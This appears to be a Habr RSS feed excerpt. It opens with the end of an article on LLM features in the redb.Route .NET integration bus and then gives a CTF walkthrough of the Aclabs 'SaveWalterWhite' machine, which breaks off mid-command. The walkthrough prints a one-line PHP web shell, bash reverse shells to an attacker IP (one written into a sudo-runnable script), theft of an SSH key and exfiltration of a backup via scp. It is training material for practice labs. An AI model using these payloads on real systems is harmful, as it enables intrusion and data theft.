&lt;code&gt;.Mode(LlmMode.Batch)&lt;/code&gt; — вместо синхронного вызова открывается Anthropic Batch, &lt;code&gt;LlmBatchProps&lt;/code&gt; хранит id, &lt;code&gt;LlmCallbackProcessor&lt;/code&gt; ждёт webhook, результаты идут в тот же Kafka, что и днём. -50% к токен-счёту.&lt;p&gt;&lt;strong&gt;День 120.&lt;/strong&gt; «Нужны метрики по версиям промптов: которая хуже». &lt;code&gt;EvalRunProps&lt;/code&gt; уже хранит прогоны. Открыли SQL, посчитали accuracy по &lt;code&gt;PromptTemplateRef&lt;/code&gt;, увидели регрессию в v4, откатились на v3 — без redeploy.&lt;p&gt;В этом нарративе нет сюжета «и тут мы переписали всё на Kubernetes-операторе». Нет момента «а потом мы добавили AI-платформу». Те &lt;strong&gt;шесть строк&lt;/strong&gt; чат-демо, которые работали в День 1, — это &lt;strong&gt;буквально тот же файл&lt;/strong&gt;, который в День 120 ведёт двух тенантов с jury-арбитражем, batch-классификацией миллиона тикетов за ночь и audit&amp;#39;ом регуляторного уровня. Не было миграции. Не было переписывания. Не было «архитектуры v2». Просто в маршрут добавлялись строчки по мере появления требований. Чат-демо не «вырастает» в платформу — он &lt;strong&gt;с первого дня стоит на платформе&lt;/strong&gt; и постепенно включает её фичи.&lt;hr&gt;&lt;h3&gt;Demo-маршруты: где это посмотреть живьём&lt;/h3&gt;&lt;p&gt;Все паттерны выше — не concept-art. В репозитории &lt;code&gt;redbase-app/redb-route&lt;/code&gt; есть два демо-файла:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;LlmDemoRoutes.cs&lt;/strong&gt;&lt;/code&gt; — три формы LLM-вызова: inline-step (&lt;code&gt;.Llm(&amp;#34;demo-stub&amp;#34;)&lt;/code&gt;), endpoint (&lt;code&gt;.To(&amp;#34;llm://demo-stub&amp;#34;)&lt;/code&gt;), tool (&lt;code&gt;.AsLlmTool(&amp;#34;echo_tool&amp;#34;)&lt;/code&gt;). Все на stub-провайдере, без API-ключей.&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;LlmHttpRoutes.cs&lt;/strong&gt;&lt;/code&gt; — два HTTP endpoint&amp;#39;а (&lt;code&gt;/api/llm/ask&lt;/code&gt; без инструментов, &lt;code&gt;/api/llm/shell&lt;/code&gt; с shell-инструментом через &lt;code&gt;redb.Route.Exec&lt;/code&gt;), оба с conversation-id из заголовка, оба с реальным Claude Haiku.&lt;/ul&gt;&lt;p&gt;Запускается одной командой &lt;code&gt;dotnet run&lt;/code&gt; в &lt;code&gt;redb.Route.Demo&lt;/code&gt; — открывается порт 5088, можно curl&amp;#39;ом проверять прямо сейчас:&lt;pre&gt;&lt;code class=bash&gt;curl -d &amp;#34;what time is it on this host?&amp;#34; -H &amp;#34;X-Chat-Id: test1&amp;#34; \&#xA;     http://localhost:5088/api/llm/shell&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Repo: &lt;a href=https://github.com/redbase-app/redb-route rel=&#34;noopener noreferrer nofollow&#34;&gt;github.com/redbase-app/redb-route&lt;/a&gt; (Apache 2.0).&lt;hr&gt;&lt;h3&gt;Что не сделано, и почему я это говорю&lt;/h3&gt;&lt;p&gt;Sliding-window память не сделана. Полноценный векторный store ещё не сделан. Нет «AI-graph editor» в tsak.web — runtime-инспекция конверсаций показывается как обычные REDB-объекты в существующем UI, без отдельного pane. Нет встроенной интеграции с одним из коммерческих eval-сервисов — &lt;code&gt;EvalRunStore&lt;/code&gt; хранит прогоны, но «нажми кнопку и сравни с продом» нет.&lt;p&gt;Это нормально. Skip-list — это &lt;strong&gt;техника&lt;/strong&gt;, не оправдание. Open-source-проект, который врёт в README про скоп — это проект, в который никто не зайдёт во второй раз. Я лучше скажу «не сделано» и сделаю в следующей минорке, чем «сделано» и буду отбиваться от issue про падающий feature.&lt;hr&gt;&lt;h3&gt;Zoom out: почему именно ESB&lt;/h3&gt;&lt;p&gt;В индустрии популярен термин «AI-нативная архитектура». Под ним обычно понимают «у нас всё построено вокруг LLM», и обычно за этим стоит &lt;strong&gt;новый dev-stack рядом со старым&lt;/strong&gt;. Проблема не в стеке — проблема в &lt;strong&gt;дублировании политики&lt;/strong&gt;.&lt;p&gt;Если у вас retry — в двух местах. Если у вас audit — в двух местах. Если у вас governance — в двух местах. Если у вас tenant-isolation — в двух местах. И эти две реализации &lt;strong&gt;разъезжаются&lt;/strong&gt; через год: AI-stack добавил bounded-context-аудит, integration-stack — нет. Юристы спрашивают «один отчёт за всё» — никто не может его собрать.&lt;p&gt;ESB-подход — это сознательный выбор &lt;strong&gt;одной точки контроля для I/O всех видов&lt;/strong&gt;. LLM — это вид I/O (асинхронный, с инструментами, с контекстом, но всё ещё I/O). Поместить его в ESB — это не философская поза, а инженерная экономия: &lt;strong&gt;одна governance-политика покрывает всё&lt;/strong&gt;.&lt;p&gt;Это не новый поинт, на эту тему писали Гарланд и Рипли (см. SOA-литературу 2000-х). Новое — что в 2026 этот поинт стал применим к LLM, потому что у LLM появились &lt;strong&gt;стандартные интерфейсы&lt;/strong&gt; (tool-use, streaming, batch-API, embeddings). До этого момента «LLM в ESB» означало «налепить REST-обёртку и молиться». Сейчас означает «использовать существующие EIP-паттерны с минорными адаптациями».&lt;p&gt;И именно в эту экономию упирается весь смысл &lt;code&gt;redb.Route.Llm&lt;/code&gt;. Не «у нас лучший агент-движок». Лучший — у Microsoft и LangChain. У нас — &lt;strong&gt;тот же средненький агент-движок, но в правильном месте архитектуры&lt;/strong&gt;. Я считаю, что это важнее.&lt;hr&gt;&lt;h3&gt;Roadmap&lt;/h3&gt;&lt;p&gt;3.1.2:&lt;ul&gt;&lt;li&gt;&lt;p&gt;sliding-window память как штатная политика;&lt;li&gt;&lt;p&gt;vector-store interface поверх существующего &lt;code&gt;IKnowledgeStore&lt;/code&gt;;&lt;li&gt;&lt;p&gt;интеграция с pgvector и Qdrant как первые back-end&amp;#39;ы;&lt;li&gt;&lt;p&gt;&lt;code&gt;EvalCompare&lt;/code&gt;-DSL для side-by-side прогонов между версиями промптов.&lt;/ul&gt;&lt;p&gt;3.2:&lt;ul&gt;&lt;li&gt;&lt;p&gt;ConversationProps-tree UI в tsak.web;&lt;li&gt;&lt;p&gt;streaming-aware aggregator EIP (буферизация частичных кадров до семантических границ);&lt;li&gt;&lt;p&gt;distributed batch — несколько worker&amp;#39;ов на один LlmCallbackProcessor.&lt;/ul&gt;&lt;p&gt;Потом:&lt;ul&gt;&lt;li&gt;&lt;p&gt;multi-modal (image input/output как вариант &lt;code&gt;Out.Body&lt;/code&gt;);&lt;li&gt;&lt;p&gt;voice-агенты как ещё один transport (&lt;code&gt;voice://...&lt;/code&gt;);&lt;li&gt;&lt;p&gt;routing по cost/latency/accuracy SLA per-message.&lt;/ul&gt;&lt;hr&gt;&lt;h3&gt;Ссылки&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Первая статья (анонс 3.1.0): &lt;a href=https://habr.com/ru/articles/1045356/ rel=&#34;noopener noreferrer nofollow&#34;&gt;redb.Route 3.1.0 — LLM как ещё один транспорт&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/ru/articles/1042392/ rel=&#34;noopener noreferrer nofollow&#34;&gt;redb.Route — Apache Camel для .NET&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/ru/articles/1042872/ rel=&#34;noopener noreferrer nofollow&#34;&gt;redb.Route изнутри: четыре in-memory канала и Exchange&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/ru/articles/1043332/ rel=&#34;noopener noreferrer nofollow&#34;&gt;redb.Route 3.0.1 — плоская навигация по DSL&lt;/a&gt;&lt;li&gt;&lt;p&gt;GitHub: &lt;a href=https://github.com/redbase-app/redb-route rel=&#34;noopener noreferrer nofollow&#34;&gt;github.com/redbase-app/redb-route&lt;/a&gt; (Apache 2.0)&lt;li&gt;&lt;p&gt;Демо-маршруты: &lt;code&gt;redb.Route/demos/redb.Route.Demo/Routes/LlmDemoRoutes.cs&lt;/code&gt;, &lt;code&gt;LlmHttpRoutes.cs&lt;/code&gt;&lt;li&gt;&lt;p&gt;Storage-серия (REDB изнутри): см. серию статей про REDB на Хабре&lt;li&gt;&lt;p&gt;&lt;a href=http://dev.to rel=&#34;noopener noreferrer nofollow&#34;&gt;dev.to&lt;/a&gt; companion: ссылка появится после публикации (не перевод — отдельный текст на ту же тему)&lt;/ul&gt;&lt;hr&gt;&lt;p&gt;&lt;strong&gt;TL;DR.&lt;/strong&gt; В 3.1.0 я обещал — в 3.1.1 сделал. Streaming end-to-end, ToolCache, KnowledgeStore (RAG-чанки), BatchStore с webhook-консьюмером, EvalRunStore, PromptTemplate-реестр с версионированными &lt;code&gt;#&lt;/code&gt;-refs, мульти-tenant &lt;code&gt;?redb=&amp;lt;name&amp;gt;&lt;/code&gt;, идемпотентные tool-вызовы, approval-gates с человеком в цикле, audit trail. Поверх — два мощных паттерна: &lt;strong&gt;jury из дешёвых моделей с arbiter-моделью сверху&lt;/strong&gt; через штатный Scatter-Gather + Aggregator EIP, и &lt;strong&gt;sub-agents as tools&lt;/strong&gt; — рекурсивная архитектура, где инструмент агента сам по себе агент со своей моделью/промптом/бюджетом/RAG, реализованная без единой строки спецкода благодаря &lt;code&gt;RouteToolBridge → direct: → llm://&lt;/code&gt;. И три полноценных enterprise-кейса с кодом: ежедневный финансовый отчёт CFO на email, недельный cash-flow forecast с jury-арбитражем, проактивный production-алерт инженеру через гибрид XGBoost + LLM. Главный поинт не в фичах — &lt;strong&gt;enterprise-уровневые свойства появляются ровно в тот день, когда они вам нужны, без переписывания&lt;/strong&gt;, потому что LLM лежит в ESB вместе со всем остальным I/O. Те шесть строк чат-демо, которые вы написали в День 1, — это &lt;strong&gt;буквально тот же файл&lt;/strong&gt;, который в День 90 работает как мульти-tenant платформа с audit&amp;#39;ом, бюджетами и jury-арбитражем. Точки «а теперь давайте перепишем» в этой истории нет.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>grelikt</author>
      <guid>https://habr.com/ru/articles/1046237/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046237</guid>
      <pubDate>Wed, 10 Jun 2026 20:21:20 +0000</pubDate>
    </item>
    <item>
      <title>SaveWalterWhite — прохождение простой машины на платформе Aclabs.pro</title>
      <link>https://habr.com/ru/articles/1046229/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046229</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/76f/48b/5d9/76f48b5d9c79b0e27f78906664f8f346.png sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/76f/48b/5d9/76f48b5d9c79b0e27f78906664f8f346.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/76f/48b/5d9/76f48b5d9c79b0e27f78906664f8f346.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h3&gt;Краткое описание&lt;/h3&gt;&lt;p&gt;Данный таск был активен в 6 сезоне CTF, который проходил на платформе ACLAbs. Это простая машина, однако имеет 5 флагов. Сначала раскрутим RFI до RCE, далее будем повышать привилегии, пройдемся по горизонтальному перемещению и в конце сбежим из контейнера.&lt;p&gt;Кстати 12 июня стартует новый, 7 сезон на сайте &lt;a href=https://aclabs.pro/ rel=&#34;noopener noreferrer nofollow&#34;&gt;aclabs.pro&lt;/a&gt;. Будут новые задания и интересные уязвимости. Всем, кому интересен кибербез и уникальные тачки, ждем на платформе. Вход свободный!&lt;hr&gt;&lt;h3&gt;Разведка (T1595.002)&lt;/h3&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/5c2/57d/f44/5c257df44dbc3ccfac547badffc0fa05.png sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/5c2/57d/f44/5c257df44dbc3ccfac547badffc0fa05.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/5c2/57d/f44/5c257df44dbc3ccfac547badffc0fa05.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Как обычно проводим первичный анализ цели.&lt;pre&gt;&lt;code class=bash&gt;sudo nmap -sC -sV ip&#xA;PORT   STATE SERVICE VERSION&#xA;22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)&#xA;| ssh-hostkey: &#xA;|   3072 7d:9f:93:42:8b:98:b0:7a:bb:78:f6:7f:9e:0f:bc:96 (RSA)&#xA;|   256 13:42:95:43:cd:7a:05:fb:65:c8:f7:04:0f:9f:fd:c9 (ECDSA)&#xA;|_  256 58:a2:eb:17:9d:11:67:ae:34:91:7b:48:f7:44:37:de (ED25519)&#xA;80/tcp open  http    Apache httpd 2.4.56 ((Debian))&#xA;| http-methods: &#xA;|_  Supported Methods: GET HEAD POST OPTIONS&#xA;|_http-server-header: Apache/2.4.56 (Debian)&#xA;|_http-title: Save Walter White&#xA;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Особо ничего интересного, по стандарту 22 ssh, 80 http. Вебсайт на первый взгляд обыкновенный, не имеет полей ввода.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/b35/b3d/dcd/b35b3ddcdcf990b8ead01b46db566d1f.png alt=&#34;SaveWalterWhite site&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/b35/b3d/dcd/b35b3ddcdcf990b8ead01b46db566d1f.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/b35/b3d/dcd/b35b3ddcdcf990b8ead01b46db566d1f.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;SaveWalterWhite site&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Однако нужно взглянуть на исходный код, становится интереснее. Есть комментарий, но еще лучше у нас имеется потенциальный вектор атаки.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/401/52b/1b6/40152b1b6c2057de3dd2d5f2674e37ab.png alt=&#34;Исходный код&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/401/52b/1b6/40152b1b6c2057de3dd2d5f2674e37ab.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/401/52b/1b6/40152b1b6c2057de3dd2d5f2674e37ab.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Исходный код&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Файл image.php принимает аргумент &lt;code&gt;?file=&lt;/code&gt; . Значит в теории мы можем прочитать файл, что дает нам уязвимость path traversal. Поскольку у нас Debian, то проверим файл etc/passwd.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/9e6/2d9/707/9e62d97078e203e3c264ab1af21423ee.png alt=&#34;Path traversal&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/9e6/2d9/707/9e62d97078e203e3c264ab1af21423ee.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/9e6/2d9/707/9e62d97078e203e3c264ab1af21423ee.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Path traversal&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Отлично! Из этого файла, мы знаем, что у этой машины 3 пользователя, это &lt;code&gt;walt&lt;/code&gt;, &lt;code&gt;saul&lt;/code&gt; и &lt;code&gt;jesse&lt;/code&gt;. Но больше прочитать полезных файлов не получается, поэтому нужно раскручивать до &lt;code&gt;RCE&lt;/code&gt;.&lt;hr&gt;&lt;h3&gt;Эксплуатация (T1190) RFI - RCE&lt;/h3&gt;&lt;p&gt;Перепробовал много вариантов чтения других файлов, но прав не хватало. Поэтому пошел читать PayloadAllTheThings &lt;a href=https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion rel=&#34;noopener noreferrer nofollow&#34;&gt;https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File Inclusion&lt;/a&gt; и воспользовался уязвимостью &lt;code&gt;RFI (Remote File Inclusion)&lt;/code&gt;.&lt;p&gt;Для начала создаем файлик у себя на хосте, я назвал его &lt;code&gt;cmd.php&lt;/code&gt; с простым содержимым.&lt;pre&gt;&lt;code class=php&gt;&amp;lt;?php system($_GET[&amp;#39;cmd&amp;#39;]); ?&amp;gt;&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Приподнимем простой веб-сервер на python.&lt;pre&gt;&lt;code class=bash&gt;python -m http.server 8888&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Далее через бурп посылаю запрос, чтобы проверить, сработает ли команда &lt;code&gt;id&lt;/code&gt;.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/51b/efd/cc2/51befdcc2c9aa614ae5783cb132e8f74.png alt=&#34;RFI to RCE&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/51b/efd/cc2/51befdcc2c9aa614ae5783cb132e8f74.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/51b/efd/cc2/51befdcc2c9aa614ae5783cb132e8f74.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;RFI to RCE&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Отлично, получаем &lt;code&gt;RCE&lt;/code&gt;, а это уже серьезная уязвимость, с помощью которой пробросим себе реверс-шелл. Для этого поднимем еще слушатель на порту 4444.&lt;pre&gt;&lt;code class=bash&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/10.20.10.5/4444 0&amp;gt;&amp;amp;1&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Кстати, без обертки &lt;code&gt;bash -c&lt;/code&gt; команда выше часто не отрабатывает, поэтому финальная команда будет выглядеть так.&lt;pre&gt;&lt;code class=bash&gt;bash -c &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/10.20.10.5/4444 0&amp;gt;&amp;amp;1&amp;#39;&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Ее нужно заэнкодить в url либо просто в репитере нажать &lt;code&gt;ctrl+u&lt;/code&gt;. Оба варианта рабочие.&lt;p&gt;После всех манипуляций должны получить реверс шелл.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/c9f/75c/aa4/c9f75caa4e348ddf623c79515af397d4.png alt=&#34;Реверс шелл&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/c9f/75c/aa4/c9f75caa4e348ddf623c79515af397d4.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/c9f/75c/aa4/c9f75caa4e348ddf623c79515af397d4.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Реверс шелл&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;hr&gt;&lt;h3&gt;Первый Флаг&lt;/h3&gt;&lt;p&gt;Наверное это первая машина, у которой пользователь &lt;code&gt;www-data&lt;/code&gt;, может выполнять хоть что-то с правами &lt;code&gt;sudo&lt;/code&gt;.&lt;pre&gt;&lt;code class=bash&gt;sudo -l&#xA;Matching Defaults entries for www-data on 50e6802eb8a3:&#xA;    env_reset, mail_badpass,&#xA;    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin&#xA;&#xA;User www-data may run the following commands on 50e6802eb8a3:&#xA;    (jesse) NOPASSWD: /opt/scripts/backup.sh&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Проверим этот скрипт&lt;pre&gt;&lt;code class=bash&gt;ls -la /opt/scripts/backup.sh&#xA;-rwxrwxrwx 1 jesse jesse 940 Dec  2 17:31 /opt/scripts/backup.sh&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Поскольку у нас полные права, я просто прописал в него еще один реверс-шелл.&lt;pre&gt;&lt;code class=bash&gt;echo &amp;#34;bash -c &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/10.20.10.5/5555 0&amp;gt;&amp;amp;1&amp;#39;&amp;#34; &amp;gt; /opt/scripts/backup.sh&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Выполняем его от имени &lt;code&gt;jesse&lt;/code&gt;&lt;pre&gt;&lt;code class=bash&gt;sudo -u jesse /opt/scripts/backup.sh&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Получаем шелл от имени &lt;code&gt;jesse&lt;/code&gt; и читаем первый флаг.&lt;pre&gt;&lt;code class=bash&gt;cat flag1.txt&#xA;flag_38ae3a7c98175e4aeff0b2a3d67aa3c4&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h3&gt;Второй флаг&lt;/h3&gt;&lt;p&gt;Поскольку мы в системе уже от пользователя &lt;code&gt;jesse&lt;/code&gt;, то подключимся по ssh, скопировав &lt;code&gt;id_rsa&lt;/code&gt;.&lt;p&gt;Нужно осмотреться в домашней директории.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/aed/a2d/28a/aeda2d28a69e97bcb477ed2e24622573.png alt=&#34;Jesse terminal notes&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/aed/a2d/28a/aeda2d28a69e97bcb477ed2e24622573.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/aed/a2d/28a/aeda2d28a69e97bcb477ed2e24622573.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Jesse terminal notes&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;У нас есть подсказка, что &lt;code&gt;Saul&lt;/code&gt; оставил архив, но мы не знаем ни ключ ни пароль.&lt;p&gt;Посмотрим, что за архив и что там лежит.&lt;pre&gt;&lt;code class=bash&gt;tar -xf saul-back.tar -C /tmp&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;ls                                                                                                                      &#xA;README  config  data  hints.13  index.13  integrity.13  nonce&#xA;&#xA;┌──(jesse㉿50e6802eb8a3)-[/tmp/backup]&#xA;└─$ cat README                                                                                                              &#xA;This is a Borg Backup repository.&#xA;See https://borgbackup.readthedocs.io/&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;Borg Backup&lt;/code&gt; - это мощный инструмент резервного копирования с дедупликацией и шифрованием.&lt;p&gt;Поскольку на самом сервере утилиты &lt;code&gt;borg&lt;/code&gt; нет, нам нужно забрать этот бэкап к себе на Kali и «вскрыть» его там.&lt;p&gt;Поскольку мы уже в &lt;code&gt;SSH&lt;/code&gt;, самое простое — забрать файл через &lt;code&gt;scp&lt;/code&gt;.&lt;pre&gt;&lt;code class=bash&gt;scp -i id_rsa jesse@10.10.10.155:~/saul-back.tar .&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Далее на своей системе устанавливаем &lt;code&gt;borgbackup&lt;/code&gt;.&lt;pre&gt;&lt;code class=bash&gt;sudo apt install borgbackup&#xA;&#xA;tar -xf saul-back.tar &#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Появится папка backup. Посмотрим список архивов.&lt;pre&gt;&lt;code class=bash&gt;borg list .&#xA;Enter passphrase for key /home/den/backup: &#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Нужна пассфраза, будем искать.&lt;p&gt;Перейдем в папку &lt;code&gt;/var/www/html&lt;/code&gt;. Там найдем файлы &lt;code&gt;admin.php&lt;/code&gt;, &lt;code&gt;api.php&lt;/code&gt;, &lt;code&gt;image.php&lt;/code&gt;.&lt;pre&gt;&lt;code class=bash&gt;cat admin.php &#xA;&amp;lt;?php&#xA;session_start();&#xA;&#xA;// Подключение к базе данных&#xA;$db = new mysqli(&amp;#39;db&amp;#39;, &amp;#39;root&amp;#39;, &amp;#39;root&amp;#39;, &amp;#39;walter_fund&amp;#39;);&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Есть креды для базы данных. Однако, дампа базы данных или утилиты, которыми можно прочитать базу нет.&lt;pre&gt;&lt;code class=bash&gt;which mysql mariadb mysqlsh mycli 